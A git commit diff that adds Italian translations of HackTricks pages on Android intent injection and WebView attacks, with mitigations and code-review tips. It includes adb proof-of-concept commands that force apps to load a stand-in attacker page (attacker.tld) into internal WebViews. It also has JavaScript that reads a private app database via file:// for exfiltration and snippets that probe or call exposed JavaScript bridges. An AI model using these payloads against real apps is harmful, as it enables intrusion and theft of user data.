mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti
This commit is contained in:
parent
412186e324
commit
fb0975756f
@ -1,5 +1,64 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Dai un'occhiata a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
# Intent Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
L'iniezione di intent sfrutta componenti che accettano Intent o dati controllati dall'attaccante che vengono successivamente convertiti in Intent. Due modelli molto comuni durante i pentest delle app Android sono:
|
||||
|
||||
- Passare extras creati a mano ad Activities/Services/BroadcastReceivers esportati che vengono successivamente inoltrati a componenti privilegiati, non esportati.
|
||||
- Attivare link profondi VIEW/BROWSABLE esportati che inoltrano URL controllati dall'attaccante in WebView interne o altri sink sensibili.
|
||||
|
||||
## Deep links → WebView sink (iniezione di parametri URL)
|
||||
|
||||
Se un'app espone un link profondo con uno schema personalizzato come:
|
||||
```text
|
||||
myscheme://com.example.app/web?url=<attacker_url>
|
||||
```
|
||||
e l'Activity ricevente inoltra il parametro di query `url` in un WebView, puoi costringere l'app a rendere contenuti remoti arbitrari nel proprio contesto WebView.
|
||||
|
||||
PoC tramite adb:
|
||||
```bash
|
||||
# Implicit VIEW intent
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# Or explicitly target an Activity
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
Impatto
|
||||
- HTML/JS viene eseguito all'interno del profilo WebView dell'app.
|
||||
- Se JavaScript è abilitato (per impostazione predefinita o a causa di controlli errati), puoi enumerare/utilizzare qualsiasi oggetto `@JavascriptInterface` esposto, rubare i cookie/local storage di WebView e pivotare.
|
||||
|
||||
Vedi anche:
|
||||
|
||||
{{#ref}}
|
||||
webview-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Bug di ordine dei controlli che abilita JavaScript
|
||||
|
||||
Un bug ricorrente è l'abilitazione di JavaScript (o altre impostazioni permissive di WebView) prima che la lista di autorizzazione/verifica dell'URL finale sia completata. Se i helper iniziali accettano il tuo deep link e il WebView è configurato per primo, il tuo caricamento finale avviene con JavaScript già abilitato anche se i controlli successivi sono difettosi o troppo tardi.
|
||||
|
||||
Cosa cercare nel codice decompilato:
|
||||
- Molti helper che analizzano/scompongono/ripristinano l'URL in modo diverso (normalizzazione incoerente).
|
||||
- Chiamate a `getSettings().setJavaScriptEnabled(true)` prima dell'ultimo controllo della lista di autorizzazione host/percorso.
|
||||
- Un pipeline come: analizza → convalida parziale → configura WebView → verifica finale → loadUrl.
|
||||
|
||||
Mitigazioni
|
||||
- Canonizza una volta e convalida rigorosamente; fallisci in modo chiuso.
|
||||
- Abilita JavaScript solo dopo che tutti i controlli sono superati e giusto prima di caricare contenuti fidati.
|
||||
- Evita di esporre ponti a origini non fidate.
|
||||
|
||||
## Altri classici primitivi di iniezione Intent
|
||||
|
||||
- startActivity/sendBroadcast utilizzando extra `Intent` forniti dall'attaccante che vengono successivamente riparsati (`Intent.parseUri(...)`) ed eseguiti.
|
||||
- Componenti proxy esportati che inoltrano Intents a componenti sensibili non esportati senza controlli di autorizzazione.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,18 +8,18 @@
|
||||
|
||||
Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all'uso di WebView.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### **Accesso ai File in WebViews**
|
||||
### **Accesso ai File nelle WebView**
|
||||
|
||||
Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo `setAllowFileAccess()`, disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso **android.permission.READ_EXTERNAL_STORAGE** possono leggere file dallo storage esterno utilizzando uno schema di URL file (`file://path/to/file`).
|
||||
Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo `setAllowFileAccess()`, disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso **android.permission.READ_EXTERNAL_STORAGE** possono leggere file dallo storage esterno utilizzando uno schema URL di file (`file://path/to/file`).
|
||||
|
||||
#### **Funzionalità Deprecate: Accesso Universale e Accesso ai File da URL**
|
||||
|
||||
- **Accesso Universale da URL File**: Questa funzionalità deprecata consentiva richieste cross-origin da URL file, rappresentando un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (`false`) per le app destinate a Android Jelly Bean e versioni successive.
|
||||
- **Accesso Universale da URL di File**: Questa funzionalità deprecata consentiva richieste cross-origin da URL di file, rappresentando un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (`false`) per le app destinate a Android Jelly Bean e versioni successive.
|
||||
- Per controllare questa impostazione, utilizzare `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Per modificare questa impostazione, utilizzare `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **Accesso ai File da URL File**: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.
|
||||
- **Accesso ai File da URL di File**: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.
|
||||
- Utilizzare `getAllowFileAccessFromFileURLs()` per controllare e `setAllowFileAccessFromFileURLs(boolean)` per impostare.
|
||||
|
||||
#### **Caricamento Sicuro dei File**
|
||||
@ -31,7 +31,7 @@ Per disabilitare l'accesso al file system pur accedendo a risorse e asset, si ut
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
La classe **WebViewAssetLoader** è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la policy Same-Origin, facilitando così la gestione del CORS.
|
||||
La classe **WebViewAssetLoader** è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la politica Same-Origin, facilitando così la gestione del CORS.
|
||||
|
||||
### loadUrl
|
||||
|
||||
@ -39,7 +39,7 @@ Questa è una funzione comune utilizzata per caricare URL arbitrari in una webvi
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
Ofc, un potenziale attaccante non dovrebbe mai essere in grado di **controllare l'URL** che un'applicazione sta per caricare.
|
||||
Certo, un potenziale attaccante non dovrebbe mai essere in grado di **controllare l'URL** che un'applicazione sta per caricare.
|
||||
|
||||
### **Gestione di JavaScript e Intent Scheme**
|
||||
|
||||
@ -54,7 +54,7 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url
|
||||
```
|
||||
### Javascript Bridge
|
||||
|
||||
Una funzionalità è fornita da Android che consente a **JavaScript** in un WebView di invocare **funzioni native delle app Android**. Questo viene realizzato utilizzando il metodo `addJavascriptInterface`, che integra JavaScript con le funzionalità native di Android, definito come un _WebView JavaScript bridge_. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, ponendo un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.
|
||||
Una funzionalità fornita da Android consente a **JavaScript** in un WebView di invocare **funzioni native dell'app Android**. Questo viene realizzato utilizzando il metodo `addJavascriptInterface`, che integra JavaScript con le funzionalità native di Android, definito come un _WebView JavaScript bridge_. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, comportando un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.
|
||||
|
||||
- **È necessaria un'estrema cautela** per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilità che consente l'esecuzione di codice remoto tramite JavaScript malevolo, sfruttando la riflessione.
|
||||
|
||||
@ -86,7 +86,7 @@ alert(javascriptBridge.getSecret())
|
||||
|
||||
### Debug Remoto
|
||||
|
||||
- **Il debug remoto** è possibile con **Chrome Developer Tools**, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.
|
||||
- Il **debug remoto** è possibile con **Chrome Developer Tools**, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.
|
||||
|
||||
#### Abilitare il Debug Remoto
|
||||
|
||||
@ -96,7 +96,226 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Per abilitare condizionatamente il debug in base allo stato di debug dell'applicazione:
|
||||
- Per abilitare il debug in modo condizionale in base allo stato di debug dell'applicazione:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
## Esfiltrare file arbitrari
|
||||
|
||||
- Dimostra l'esfiltrazione di file arbitrari utilizzando un XMLHttpRequest:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest()
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText)
|
||||
}
|
||||
}
|
||||
xhr.open(
|
||||
"GET",
|
||||
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
|
||||
true
|
||||
)
|
||||
xhr.send(null)
|
||||
```
|
||||
# Webview Attacks
|
||||
|
||||
|
||||
|
||||
## Guida alle Configurazioni e Sicurezza di WebView
|
||||
|
||||
### Panoramica delle Vulnerabilità di WebView
|
||||
|
||||
Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all'uso di WebView.
|
||||
|
||||
.png>)
|
||||
|
||||
### **Accesso ai File in WebView**
|
||||
|
||||
Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo `setAllowFileAccess()`, disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso **android.permission.READ_EXTERNAL_STORAGE** possono leggere file dallo storage esterno utilizzando uno schema di URL file (`file://path/to/file`).
|
||||
|
||||
#### **Funzionalità Deprecate: Accesso Universale e Accesso ai File da URL**
|
||||
|
||||
- **Accesso Universale da URL File**: Questa funzionalità deprecata consentiva richieste cross-origin da URL file, rappresentando un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (`false`) per le app destinate a Android Jelly Bean e versioni successive.
|
||||
- Per controllare questa impostazione, utilizzare `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Per modificare questa impostazione, utilizzare `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **Accesso ai File da URL File**: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.
|
||||
- Utilizzare `getAllowFileAccessFromFileURLs()` per controllare e `setAllowFileAccessFromFileURLs(boolean)` per impostare.
|
||||
|
||||
#### **Caricamento Sicuro dei File**
|
||||
|
||||
Per disabilitare l'accesso al file system pur accedendo a risorse e asset, si utilizza il metodo `setAllowFileAccess()`. Con Android R e versioni successive, l'impostazione predefinita è `false`.
|
||||
|
||||
- Controllare con `getAllowFileAccess()`.
|
||||
- Abilitare o disabilitare con `setAllowFileAccess(boolean)`.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
La classe **WebViewAssetLoader** è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la policy Same-Origin, facilitando così la gestione del CORS.
|
||||
|
||||
### loadUrl
|
||||
|
||||
Questa è una funzione comune utilizzata per caricare URL arbitrari in una webview:
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
Certo, un potenziale attaccante non dovrebbe mai essere in grado di **controllare l'URL** che un'applicazione sta per caricare.
|
||||
|
||||
### Deep-linking in WebView interni (schema personalizzato → sink WebView)
|
||||
|
||||
Molte app registrano schemi/percorsi personalizzati che instradano un URL fornito dall'utente in un WebView all'interno dell'app. Se il deep link è esportato (VIEW + BROWSABLE), un attaccante può costringere l'app a visualizzare contenuti remoti arbitrari all'interno del suo contesto WebView.
|
||||
|
||||
Pattern tipico del manifest (semplificato):
|
||||
```xml
|
||||
<activity android:name=".MainActivity" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data android:scheme="myscheme" android:host="com.example.app" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Flusso di codice comune (semplificato):
|
||||
```java
|
||||
// Entry activity
|
||||
@Override
|
||||
protected void onNewIntent(Intent intent) {
|
||||
Uri deeplink = intent.getData();
|
||||
String url = deeplink.getQueryParameter("url"); // attacker-controlled
|
||||
if (deeplink.getPathSegments().get(0).equals("web")) {
|
||||
Intent i = new Intent(this, WebActivity.class);
|
||||
i.putExtra("url", url);
|
||||
startActivity(i);
|
||||
}
|
||||
}
|
||||
|
||||
// WebActivity sink
|
||||
webView.loadUrl(getIntent().getStringExtra("url"));
|
||||
```
|
||||
Modello di attacco e PoC tramite adb:
|
||||
```bash
|
||||
# Template – force load in internal WebView
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# If a specific Activity must be targeted
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
Impatto: la pagina remota viene eseguita nel contesto dell'app WebView (cookie/sessione del profilo WebView dell'app, accesso a qualsiasi @JavascriptInterface esposto, accesso potenziale a content:// e file:// a seconda delle impostazioni).
|
||||
|
||||
Suggerimenti per la caccia:
|
||||
- Grep sorgenti decompilati per `getQueryParameter("url")`, `loadUrl(`, sink WebView e gestori di deep-link (`onCreate/onNewIntent`).
|
||||
- Rivedere il manifesto per filtri VIEW+BROWSABLE e schemi/host personalizzati che mappano a attività che avviano successivamente un WebView.
|
||||
- Controllare se ci sono più percorsi di deep-link (ad esempio, un percorso "browser esterno" rispetto a un percorso "webview interno") e preferire quello che viene visualizzato all'interno dell'app.
|
||||
|
||||
### Abilitare JavaScript prima della verifica (bug dell'ordine di controlli)
|
||||
|
||||
Un errore comune di indurimento è abilitare JavaScript o configurare impostazioni WebView rilassate prima che la lista di autorizzazione finale/verifica dell'URL di destinazione sia completata. Se la verifica è incoerente tra i helper o avviene troppo tardi, un deep link dell'attaccante può raggiungere uno stato in cui:
|
||||
|
||||
1) Le impostazioni di WebView si applicano (ad esempio, `setJavaScriptEnabled(true)`), e
|
||||
2) L'URL non attendibile viene caricato con JavaScript abilitato.
|
||||
|
||||
Modello di bug (pseudocodice):
|
||||
```java
|
||||
// 1) Parse/early checks
|
||||
Uri u = parse(intent);
|
||||
if (!looksValid(u)) return;
|
||||
|
||||
// 2) Configure WebView BEFORE final checks
|
||||
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
|
||||
configureMixedContent();
|
||||
|
||||
// 3) Do final verification (late)
|
||||
if (!finalAllowlist(u)) return; // too late – JS already enabled
|
||||
|
||||
// 4) Load
|
||||
webView.loadUrl(u.toString());
|
||||
```
|
||||
Perché è sfruttabile
|
||||
- Normalizzazione incoerente: i helper dividono/ripristinano l'URL in modo diverso rispetto al controllo finale, creando discrepanze che un URL malevolo può sfruttare.
|
||||
- Pipeline disordinata: abilitare JS nel passo 2 si applica globalmente all'istanza WebView, influenzando il caricamento finale anche se la verifica fallisse successivamente.
|
||||
|
||||
Come testare
|
||||
- Crea payload di deep-link che superano i controlli iniziali e raggiungono il sito di configurazione WebView.
|
||||
- Usa adb per attivare intent impliciti VIEW che consegnano un parametro `url=` controllato da te:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
Se lo sfruttamento ha successo, il tuo payload esegue JavaScript nel WebView dell'app. Da lì, cerca ponti esposti:
|
||||
```html
|
||||
<script>
|
||||
for (let k in window) {
|
||||
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Guida difensiva
|
||||
- Canonicalizza una volta; valida rigorosamente contro una singola fonte di verità (schema/host/percorso/query).
|
||||
- Chiama `setJavaScriptEnabled(true)` solo dopo che tutti i controlli della lista di autorizzazione sono passati e appena prima di caricare contenuti fidati.
|
||||
- Evita di esporre `@JavascriptInterface` a origini non fidate; preferisci il gating per origine.
|
||||
- Considera istanze per WebView per contenuti fidati vs non fidati, con JS disabilitato per impostazione predefinita.
|
||||
|
||||
### **Gestione di JavaScript e Intent Scheme**
|
||||
|
||||
- **JavaScript**: Disabilitato per impostazione predefinita nelle WebView, può essere abilitato tramite `setJavaScriptEnabled()`. Si consiglia cautela poiché abilitare JavaScript senza le giuste protezioni può introdurre vulnerabilità di sicurezza.
|
||||
- **Intent Scheme**: Le WebView possono gestire lo schema `intent`, potenzialmente portando a exploit se non gestito con attenzione. Un esempio di vulnerabilità ha coinvolto un parametro WebView esposto "support_url" che potrebbe essere sfruttato per eseguire attacchi di cross-site scripting (XSS).
|
||||
|
||||
.png>)
|
||||
|
||||
Esempio di sfruttamento utilizzando adb:
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
### Javascript Bridge
|
||||
|
||||
Una funzionalità è fornita da Android che consente a **JavaScript** in un WebView di invocare **funzioni native dell'app Android**. Questo viene realizzato utilizzando il metodo `addJavascriptInterface`, che integra JavaScript con le funzionalità native di Android, definito come un _WebView JavaScript bridge_. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, ponendo un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.
|
||||
|
||||
- **È necessaria un'estrema cautela** per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilità che consente l'esecuzione di codice remoto tramite JavaScript malevolo, sfruttando la riflessione.
|
||||
|
||||
#### Implementing a JavaScript Bridge
|
||||
|
||||
- **Le interfacce JavaScript** possono interagire con il codice nativo, come mostrato negli esempi in cui un metodo di classe è esposto a JavaScript:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- Il JavaScript Bridge è abilitato aggiungendo un'interfaccia al WebView:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||||
webView.reload()
|
||||
```
|
||||
- Potenziale sfruttamento tramite JavaScript, ad esempio, attraverso un attacco XSS, consente la chiamata di metodi Java esposti:
|
||||
```html
|
||||
<script>
|
||||
alert(javascriptBridge.getSecret())
|
||||
</script>
|
||||
```
|
||||
- Per mitigare i rischi, **limitare l'uso del bridge JavaScript** al codice fornito con l'APK e impedire il caricamento di JavaScript da fonti remote. Per i dispositivi più vecchi, impostare il livello API minimo a 17.
|
||||
|
||||
### Esecuzione Remota di Codice Basata su Riflesso (RCE)
|
||||
|
||||
- Un metodo documentato consente di ottenere RCE tramite riflessione eseguendo un payload specifico. Tuttavia, l'annotazione `@JavascriptInterface` impedisce l'accesso non autorizzato ai metodi, limitando la superficie di attacco.
|
||||
|
||||
### Debug Remoto
|
||||
|
||||
- Il **debug remoto** è possibile con **Chrome Developer Tools**, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.
|
||||
|
||||
#### Abilitare il Debug Remoto
|
||||
|
||||
- Il debug remoto può essere abilitato per tutte le WebView all'interno di un'applicazione tramite:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Per abilitare il debug in modo condizionale in base allo stato di debug dell'applicazione:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
@ -122,10 +341,13 @@ xhr.send(null)
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [Deep Links & WebViews Exploitations – Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [Deep Links & WebViews Exploitations – Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user